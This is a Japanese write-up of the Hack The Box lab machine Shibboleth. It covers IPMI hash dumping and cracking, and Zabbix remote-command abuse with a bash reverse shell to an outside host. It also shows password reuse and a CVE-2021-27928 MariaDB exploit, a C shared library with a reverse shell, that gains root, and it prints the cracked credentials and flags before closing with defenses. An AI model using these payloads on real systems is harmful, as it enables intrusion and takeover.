Hack The BoxのWriteup(Shibboleth)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Shibboleth — 全実行コマンド・実行結果レポート
Nmap スキャン
TCP 80 のみ / UDP 623 IPMI
IPMI 2.0 RAKP ハッシュリーク
ipmi_dumphashes
hashcat -m 7300
Administrator:ilovepumkinpie1
Zabbix Action/Trigger 悪用
Remote command RCE
zabbix シェル取得
パスワード使い回し
su ipmi-svc
user.txt ✓
zabbix_server.conf 漏洩
DBPassword
CVE-2021-27928
MariaDB wsrep_provider
root.txt ✓

全ポートスキャン(TCP)

BASH
nmap -sV -sC -p- --min-rate 3000 -oN nmap/alltcp.txt 10.129.51.140
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: shibboleth.htb
ℹ️
TCP は 80 のみ。バーチャルホスト shibboleth.htb へリダイレクトされるため、 /etc/hosts に追記してから再アクセスする。
BASH
echo "10.129.51.140 shibboleth.htb monitoring.shibboleth.htb monitor.shibboleth.htb zabbix.shibboleth.htb" | sudo tee -a /etc/hosts

バーチャルホスト調査 & Zabbix フロントエンド発見

BASH
curl -s -L http://shibboleth.htb/ | grep -iE 'title|monitor'
gobuster vhost -u http://shibboleth.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
RESULT
shibboleth.htb          → 静的な会社紹介ページ (テーマ Lorem ipsum 系テンプレート)
Found: monitoring.shibboleth.htb / monitor.shibboleth.htb → zabbix.shibboleth.htb へリダイレクト
zabbix.shibboleth.htb → Zabbix 5.0 ログイン画面
🚨
TCP80上のメインサイトには目立った脆弱性なし。だが vhost 探索で Zabbix 5.0 監視システムの フロントエンドが露出していることを発見。Zabbix は認証されればトリガーアクション経由で 任意コマンド実行が可能な既知の攻撃対象。

UDP スキャン — IPMI (623) の発見

BASH
nmap -sU --top-ports 20 -oN nmap/udp_top.txt 10.129.51.140
RESULT
PORT    STATE         SERVICE
623/udp open|filtered asf-rmcp   ← IPMI 2.0 (RMCP+) の標準ポート
🚨
重要発見: UDP 623 が開いている = IPMI 2.0 (Intelligent Platform Management Interface) が稼働中。IPMI 2.0 の RAKP (Remote Authenticated Key-Exchange Protocol) には 認証不要でパスワードハッシュを取得できる既知の設計上の欠陥がある (CVSS 各種 CVE 群、通称 “IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval”)。
PHASE 2

IPMI 2.0 RAKP ハッシュリーク & hashcat クラック

Metasploit で認証不要のままハッシュをダンプ

BASH
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS 10.129.51.140; run; exit"
RESULT
RHOSTS => 10.129.51.140
[+] 10.129.51.140:623 - IPMI - Hash found: Administrator:0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ℹ️
IPMI 2.0 の RAKP メッセージ2応答には、要求さえ送ればsalt値とHMAC-SHA1で計算した パスワードハッシュがそのまま返ってくるという仕様上の欠陥がある(RAKP-XCP1認証なしでも HMAC値を要求できてしまうため)。認証情報は一切不要。

hashcat (mode 7300: IPMI2 RAKP HMAC-SHA1) でオフラインクラック

BASH
# ハッシュ部分(ユーザー名を除いた salt:hmac 部分)を保存
echo '0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61' > shibboleth_ipmi.hash

hashcat -m 7300 -a 0 shibboleth_ipmi.hash /usr/share/wordlists/rockyou.txt --force
hashcat -m 7300 shibboleth_ipmi.hash --show
RESULT
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7300 (IPMI2 RAKP HMAC-SHA1)
Time.Started.....: 9 secs
Speed.#01........: 1041.4 kH/s

0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61:ilovepumkinpie1
クラック成功! Administrator:ilovepumkinpie1。rockyou.txt に対して わずか9秒で解読できる程度の弱いパスワードだった。この Administrator パスワードは IPMI(BMC) だけでなく Zabbix Web フロントエンドの Administrator アカウントとしても そのまま有効(パスワード使い回し)。
PHASE 3

Zabbix Action/Trigger 悪用による RCE

Zabbix へログイン

BASH
http://zabbix.shibboleth.htb/index.php
  Username: Administrator
  Password: ilovepumkinpie1
Administrator としてログイン成功。Zabbix 5.0 の管理画面がフル操作可能になる。 なお api_jsonrpc.php への直接アクセスは Apache 設定で 403 Forbidden にブロックされており、REST API 経由の自動化は不可 — UI 操作(ブラウザ自動化)が必須

攻撃原理: Trigger Action の Remote command 機能

NOTE
Zabbix には「トリガーが特定の条件(深刻度など)を満たすイベントを生成したら、
Zabbix server 自身の上で任意のシェルコマンドを実行する」という正規機能
(Configuration → Actions → Operations → Remote command, Execute on: Zabbix server)
がある。これは元々は死活監視からの自動復旧スクリプト実行のための機能だが、
Administrator 権限があれば以下の手順で意図的に悪用しRCEに転用できる:

  1. Configuration → Actions で新規 Trigger Action を作成
     条件: Trigger severity = Disaster
     操作: Remote command / 対象=Current host / 実行場所=Zabbix server
           コマンド = bash -i >& /dev/tcp/<Kali IP>/4444 0>&1
  2. Configuration → Hosts → Triggers で、深刻度 Disaster かつ常に真になる
     新規トリガーを作成: 式 = {shibboleth.htb:proc.num.last()}>0
  3. 新規トリガー作成時点で PROBLEM イベントが発生 → Action の条件に一致
     → Zabbix server プロセス上でリバースシェルコマンドが実行される

Zabbix はイベントの「状態遷移」のみを評価するため、Action を先に作成してから
新規トリガーを作成する順序を守らないと発火しない(既存の開いたままの
Problem に対しては遡って評価されない)。

Action の作成 (Configuration → Actions → Create action)

BASH
Name: killchain-rce-action
[Conditions] Add → Type: Trigger severity, Value: Disaster
[Operations] Add → Operation type: Remote commands
  Target list: Current host
  Execute on: Zabbix server
  Command: bash -c 'bash -i >& /dev/tcp/10.10.15.201/4444 0>&1'
⚠️
Zabbix 5.0 UI は独自スタイルの <z-select> Web Components や AJAX 読み込みのオーバーレイダイアログを多用しており、素の JS が効かない箇所がある。 深刻度ラジオボタン、Operation type セレクタ、対象ホストのチェックボックスは、 いずれも見た目上の <label> 要素をクリックしないと状態が反映されない (下に隠れた本来の <input> への直接クリックでは無視される)。

Trigger の新規作成 & リバースシェル受信

BASH
# リスナー起動
nc -lnvp 4444

# Configuration → Hosts → shibboleth.htb → Triggers → Create trigger
Name: killchain-rce-trigger
Severity: Disaster
Expression: {shibboleth.htb:proc.num.last()}>0
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.51.140] 40052
bash: no job control in this shell
zabbix@shibboleth:/$ id
uid=110(zabbix) gid=118(zabbix) groups=118(zabbix)
RCE成功! トリガー作成と同時に Disaster レベルの PROBLEM イベントが発生し、 Zabbix server プロセス上(Zabbix server 自体は同一ホストで動作)で仕込んだリバースシェルが 実行され zabbix ユーザーのシェルを取得した。
PHASE 4

パスワード使い回し (su ipmi-svc) → user.txt

ローカルユーザーの確認

BASH
zabbix@shibboleth:/$ cat /etc/passwd | grep -E 'ipmi|zabbix'
RESULT
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix:x:110:118::/var/lib/zabbix/:/usr/sbin/nologin
ℹ️
ipmi-svc という名前のログイン可能なローカルユーザーが存在する。IPMI 関連の サービスアカウントと推測できるため、Phase 2 でクラックしたパスワードの使い回しを試す。

su ipmi-svc — パスワード使い回しで昇格

BASH
zabbix@shibboleth:/$ su ipmi-svc
Password: ilovepumkinpie1
RESULT
ipmi-svc@shibboleth:/$ id; cat /home/ipmi-svc/user.txt
uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)
1f23fab5638ea759bc0671eefc78616c
パスワード使い回し確認! IPMI(BMC)/Zabbix Administrator と同じパスワード ilovepumkinpie1 が OS の ipmi-svc ユーザーの su パスワードとしても 有効だった。
user.txt — ipmi-svc@shibboleth
1f23fab5638ea759bc0671eefc78616c
PHASE 5

CVE-2021-27928 (MariaDB wsrep_provider) → root.txt

Zabbix サーバー設定ファイルから DB 資格情報を取得

BASH
ipmi-svc@shibboleth:/$ grep -v -E '^#|^$' /etc/zabbix/zabbix_server.conf
RESULT
LogFile=/var/log/zabbix/zabbix_server.log
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
...
ℹ️
ipmi-svc ユーザーは /etc/zabbix/zabbix_server.conf を読み取れる権限を 持っており、MySQL(MariaDB)の zabbix ユーザー認証情報が平文で記載されている。

MariaDB バージョン確認 & 脆弱性判定

BASH
ipmi-svc@shibboleth:/$ mysql --version
RESULT
mysql  Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64)
🚨
CVE-2021-27928 — MariaDB 10.1<10.1.48 / 10.2<10.2.37 / 10.3<10.3.28 / 10.4<10.4.18 / 10.5<10.5.9 に存在する脆弱性。 SET GLOBAL wsrep_provider='<path>' ステートメントは、指定した パスの共有ライブラリ(.so)を mysqld プロセスにそのままロードする設計になっており、 十分な権限を持つ DB ユーザーであれば任意の共有ライブラリを読み込ませてコードを実行できる。 本ターゲットの MariaDB は 10.3.25 < 10.3.28 のため該当し、 かつ mysqld は root権限で動作している(このマシン特有の意図的な設定)。

悪意ある wsrep_provider 共有ライブラリの作成

BASH
cat > exploit.c <<'EOF'
#include <stdlib.h>

__attribute__((constructor))
void exploit(void) {
    system("bash -c 'bash -i >& /dev/tcp/10.10.15.201/4446 0>&1'");
}
EOF

gcc -shared -fPIC -o exploit.so exploit.c
ℹ️
__attribute__((constructor)) をつけた関数は、この共有ライブラリが dlopen() でロードされた瞬間に自動実行される。mysqld プロセスの コンテキスト(= root)でリバースシェルコマンドが起動する仕組み。

ターゲットへ転送 & wsrep_provider にロードさせて root シェル取得

BASH
# base64 化してターゲットのシェル経由で転送
base64 exploit.so
ipmi-svc@shibboleth:/$ echo <base64...> | base64 -d > /tmp/.kc_exploit.so

# リスナー起動 (別ターミナル)
nc -lnvp 4446

# root権限で動作する mysqld にライブラリをロードさせる
ipmi-svc@shibboleth:/$ mysql -u zabbix -p'bloooarskybluh' -e \
  "SET GLOBAL wsrep_provider='/tmp/.kc_exploit.so';"
RESULT (nc :4446 リスナー側)
listening on [any] 4446 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.51.140] 32788
root@shibboleth:/var/lib/mysql# id; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
7d1c2dc02db8b34bc4f9d4d5bec6ab53
root権限取得成功! mysql クライアント自体は「クエリ実行中に接続が切れた」 (ERROR 2013: Lost connection to MySQL server during query)というエラーを返すが、 これは共有ライブラリロード時に mysqld 側でリバースシェルが fork/exec されたことによる 正常な副作用であり、無視してよい。
root.txt — root@shibboleth
7d1c2dc02db8b34bc4f9d4d5bec6ab53
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ipmi-svc@shibboleth
1f23fab5638ea759bc0671eefc78616c
root.txt — root@shibboleth
7d1c2dc02db8b34bc4f9d4d5bec6ab53

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
IPMI 2.0 RAKP ハッシュリーク UDP 623 (BMC) 認証情報漏洩 High 認証不要で Administrator の HMAC-SHA1 パスワードハッシュを取得し hashcat -m 7300 でクラック
Zabbix Action/Trigger 悪用 RCE Zabbix 5.0 (zabbix.shibboleth.htb) リモートコード実行 (zabbix ユーザー) Critical Trigger severity=Disaster の Remote command アクションを作成し、常に真になるトリガーを新規作成して発火させる
パスワード使い回し OS ユーザー ipmi-svc 権限昇格 (ローカルユーザー) Medium IPMI/Zabbix Administrator と同一パスワードで su ipmi-svc が成功
CVE-2021-27928 MariaDB 10.3.25 (wsrep_provider) リモートコード実行 (root) Critical SET GLOBAL wsrep_provider='<path.so>' で任意共有ライブラリを mysqld(root)にロードさせる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP全ポート + UDPトップ + vhost探索TCP80(Apache)、UDP623(IPMI)、zabbix.shibboleth.htb発見
2IPMIハッシュリークmsf ipmi_dumphashes + hashcat -m 7300Administrator:ilovepumkinpie1
3Zabbix RCETrigger Action(Remote command)悪用zabbix ユーザーのリバースシェル
4権限昇格1パスワード使い回し (su ipmi-svc)user.txt 取得
5情報収集zabbix_server.conf 閲覧zabbix(mysql):bloooarskybluh
6権限昇格2CVE-2021-27928 wsrep_provider ロードroot.txt 取得(root シェル)

学んだ教訓 & 防御策

問題点防御策
IPMI 2.0 (UDP 623) が外部に公開され、RAKP プロトコルの仕様上の欠陥でハッシュが漏洩 IPMI/BMC インターフェースは管理用の隔離ネットワークに限定し、インターネット/内部一般セグメントに公開しない。可能であれば IPMI 2.0 の Cipher Suite 0 を無効化する。
Zabbix Administrator アカウントが弱いパスワードで、かつ複数システムでパスワードを使い回している サービスごとに一意で十分な強度のパスワードを設定し、監視システムなど強力な実行権限を持つ管理画面のパスワードは特に厳格に管理する。
Zabbix の Trigger Action Remote command 機能が Administrator 権限で自由に悪用できる Remote command 操作の利用を必要最小限に限定し、実行対象コマンドをホワイトリスト化する。可能なら Zabbix server 上での任意コマンド実行操作自体を無効化する。
脆弱なバージョンの MariaDB (10.3.25 < 10.3.28, CVE-2021-27928) を使用し、かつ mysqld が root 権限で稼働 DB ソフトウェアを速やかにパッチ適用する。mysqld は専用の非特権ユーザーで実行し、root では絶対に動かさない。
HackTheBox: Shibboleth | 完全攻略レポート